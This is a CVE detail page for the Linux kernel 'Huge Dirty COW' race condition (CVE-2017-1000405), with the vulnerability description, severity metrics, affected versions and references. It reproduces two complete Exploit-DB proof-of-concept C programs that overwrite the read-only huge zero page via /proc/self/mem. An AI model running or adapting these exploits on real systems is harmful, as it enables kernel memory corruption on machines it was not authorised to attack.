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CVE-2017-1000405 : Detail

CVE-2017-1000405

7
/
HIGH
0.18%V3
Local
2017-11-30 21:00 +00:00
2018-02-12 17:57 +00:00
CVE.org
NVD

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Descriptions

The Linux Kernel versions 2.6.38 through 4.14 have a problematic use of pmd_mkdirty() in the touch_pmd() function inside the THP implementation. touch_pmd() can be reached by get_user_pages(). In such case, the pmd will become dirty. This scenario breaks the new can_follow_write_pmd()'s logic - pmd can become dirty without going through a COW cycle. This bug is not as severe as the original "Dirty cow" because an ext4 file (or any other regular file) cannot be mapped using THP. Nevertheless, it does allow us to overwrite read-only huge pages. For example, the zero huge page and sealed shmem files can be overwritten (since their mapping can be populated using THP). Note that after the first write page-fault to the zero page, it will be replaced with a new fresh (and zeroed) thp.

Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The product contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently.

Metrics

Metric Score Severity CVSS Vector Source
V3.1 7 HIGH CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

High

successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 6.9 AV:L/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 43199

Publication date : 2017-11-29 23:00 +00:00
Author : Bindecy
EDB Verified : No

// EDB Note: Source ~ https://medium.com/bindecy/huge-dirty-cow-cve-2017-1000405-110eca132de0 // EDB Note: Source ~ https://github.com/bindecy/HugeDirtyCowPOC // Author Note: Before running, make sure to set transparent huge pages to "always": // `echo always | sudo tee /sys/kernel/mm/transparent_hugepage/enabled` // // // The Huge Dirty Cow POC. This program overwrites the system's huge zero page. // Compile with "gcc -pthread main.c" // // November 2017 // Bindecy // #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sched.h> #include <string.h> #include <pthread.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/wait.h> #define MAP_BASE ((void *)0x4000000) #define MAP_SIZE (0x200000) #define MEMESET_VAL (0x41) #define PAGE_SIZE (0x1000) #define TRIES_PER_PAGE (20000000) struct thread_args { char *thp_map; char *thp_chk_map; off_t off; char *buf_to_write; int stop; int mem_fd1; int mem_fd2; }; typedef void * (*pthread_proc)(void *); void *unmap_and_read_thread(struct thread_args *args) { char c; int i; for (i = 0; i < TRIES_PER_PAGE && !args->stop; i++) { madvise(args->thp_map, MAP_SIZE, MADV_DONTNEED); // Discard the temporary COW page. memcpy(&c, args->thp_map + args->off, sizeof(c)); read(args->mem_fd2, &c, sizeof(c)); lseek(args->mem_fd2, (off_t)(args->thp_map + args->off), SEEK_SET); usleep(10); // We placed the zero page and marked its PMD as dirty. // Give get_user_pages() another chance before madvise()-ing again. } return NULL; } void *write_thread(struct thread_args *args) { int i; for (i = 0; i < TRIES_PER_PAGE && !args->stop; i++) { lseek(args->mem_fd1, (off_t)(args->thp_map + args->off), SEEK_SET); madvise(args->thp_map, MAP_SIZE, MADV_DONTNEED); // Force follow_page_mask() to fail. write(args->mem_fd1, args->buf_to_write, PAGE_SIZE); } return NULL; } void *wait_for_success(struct thread_args *args) { while (args->thp_chk_map[args->off] != MEMESET_VAL) { madvise(args->thp_chk_map, MAP_SIZE, MADV_DONTNEED); sched_yield(); } args->stop = 1; return NULL; } int main() { struct thread_args args; void *thp_chk_map_addr; int ret; // Mapping base should be a multiple of the THP size, so we can work with the whole huge page. args.thp_map = mmap(MAP_BASE, MAP_SIZE, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (args.thp_map == MAP_FAILED) { perror("[!] mmap()"); return -1; } if (args.thp_map != MAP_BASE) { fprintf(stderr, "[!] Didn't get desired base address for the vulnerable mapping.\n"); goto err_unmap1; } printf("[*] The beginning of the zero huge page: %lx\n", *(unsigned long *)args.thp_map); thp_chk_map_addr = (char *)MAP_BASE + (MAP_SIZE * 2); // MAP_SIZE * 2 to avoid merge args.thp_chk_map = mmap(thp_chk_map_addr, MAP_SIZE, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (args.thp_chk_map == MAP_FAILED) { perror("[!] mmap()"); goto err_unmap1; } if (args.thp_chk_map != thp_chk_map_addr) { fprintf(stderr, "[!] Didn't get desired base address for the check mapping.\n"); goto err_unmap2; } ret = madvise(args.thp_map, MAP_SIZE, MADV_HUGEPAGE); ret |= madvise(args.thp_chk_map, MAP_SIZE, MADV_HUGEPAGE); if (ret) { perror("[!] madvise()"); goto err_unmap2; } args.buf_to_write = malloc(PAGE_SIZE); if (!args.buf_to_write) { perror("[!] malloc()"); goto err_unmap2; } memset(args.buf_to_write, MEMESET_VAL, PAGE_SIZE); args.mem_fd1 = open("/proc/self/mem", O_RDWR); if (args.mem_fd1 < 0) { perror("[!] open()"); goto err_free; } args.mem_fd2 = open("/proc/self/mem", O_RDWR); if (args.mem_fd2 < 0) { perror("[!] open()"); goto err_close1; } printf("[*] Racing. Gonna take a while...\n"); args.off = 0; // Overwrite every single page while (args.off < MAP_SIZE) { pthread_t threads[3]; args.stop = 0; ret = pthread_create(&threads[0], NULL, (pthread_proc)wait_for_success, &args); ret |= pthread_create(&threads[1], NULL, (pthread_proc)unmap_and_read_thread, &args); ret |= pthread_create(&threads[2], NULL, (pthread_proc)write_thread, &args); if (ret) { perror("[!] pthread_create()"); goto err_close2; } pthread_join(threads[0], NULL); // This call will return only after the overwriting is done pthread_join(threads[1], NULL); pthread_join(threads[2], NULL); args.off += PAGE_SIZE; printf("[*] Done 0x%lx bytes\n", args.off); } printf("[*] Success!\n"); err_close2: close(args.mem_fd2); err_close1: close(args.mem_fd1); err_free: free(args.buf_to_write); err_unmap2: munmap(args.thp_chk_map, MAP_SIZE); err_unmap1: munmap(args.thp_map, MAP_SIZE); if (ret) { fprintf(stderr, "[!] Exploit failed.\n"); } return ret; }
Exploit Database EDB-ID : 44305

Publication date : 2017-12-10 23:00 +00:00
Author : anonymous
EDB Verified : No

/* * The code is modified from https://www.exploit-db.com/exploits/43199/ */ #define _GNU_SOURCE #include <unistd.h> #include <sys/mman.h> #include <err.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <fcntl.h> #include <sys/stat.h> #include <sched.h> #include <pthread.h> #include <sys/types.h> #include <sys/wait.h> #define TRIES_PER_PAGE (20000000) #define PAGE_SIZE (0x1000) #define MEMESET_VAL (0x41) #define MAP_SIZE (0x200000) #define STRING "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" #define OFFSIZE ((sizeof(STRING)-1)/sizeof(char)) struct args{ int fd; void *p; int stop; off_t off; char *chp; }; void *write_thread(struct args *arg) { for (int i = 0; i < TRIES_PER_PAGE && !arg->stop; i++) { lseek(arg->fd, (off_t)(arg->chp + arg->off*OFFSIZE), SEEK_SET); write(arg->fd, STRING, sizeof(STRING)); lseek(arg->fd, (off_t)(arg->chp + arg->off*OFFSIZE), SEEK_SET); } return NULL; } void *wait_for_success(struct args *arg) { while(*(arg->chp+arg->off*OFFSIZE) != 'A') { int i = madvise(arg->p, MAP_SIZE, MADV_DONTNEED); sched_yield(); } arg->stop = 1; return NULL; } int main(void) { struct args arg; arg.off = 0; arg.p = mmap((void*)0x40000000, MAP_SIZE, PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); if(arg.p == MAP_FAILED) perror("[!] mmap()"); arg.chp = arg.p; printf("mmap address is %p\n", arg.p); madvise(arg.p, MAP_SIZE, MADV_HUGEPAGE); arg.fd = open("/proc/self/mem", O_RDWR); if (arg.fd < 0) { perror("[!] open()"); return 1; } while(arg.off < PAGE_SIZE/sizeof(STRING)) { arg.stop = 0; pthread_t thread0, thread1; int ret = pthread_create(&thread0, NULL, (void *)wait_for_success, &arg); ret |= pthread_create(&thread1, NULL, (void *)write_thread, &arg); if (ret) { perror("[!] pthread_create()"); return 1; } pthread_join(thread0, NULL); pthread_join(thread1, NULL); printf("[*] Done 0x%x String\n", arg.off); arg.off++; } printf("[*] Overwrite a page\n"); printf("%s\n", arg.p); return 0; }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version From (including) 3.2.87 To (excluding) 3.3

Linux>>Linux_kernel >> Version From (including) 3.10.106 To (excluding) 3.11

Linux>>Linux_kernel >> Version From (including) 3.12.73 To (excluding) 3.13

Linux>>Linux_kernel >> Version From (including) 3.16.42 To (excluding) 3.16.52

Linux>>Linux_kernel >> Version From (including) 3.18.55 To (excluding) 3.18.86

Linux>>Linux_kernel >> Version From (including) 4.1.41 To (excluding) 4.1.48

Linux>>Linux_kernel >> Version From (including) 4.4.70 To (excluding) 4.4.104

Linux>>Linux_kernel >> Version From (including) 4.9.7 To (excluding) 4.9.67

Linux>>Linux_kernel >> Version From (including) 4.10 To (excluding) 4.14.4

References

http://www.securityfocus.com/bid/102032
Tags : vdb-entry, x_refsource_BID
https://access.redhat.com/errata/RHSA-2018:0180
Tags : vendor-advisory, x_refsource_REDHAT
http://www.securitytracker.com/id/1040020
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/43199/
Tags : exploit, x_refsource_EXPLOIT-DB

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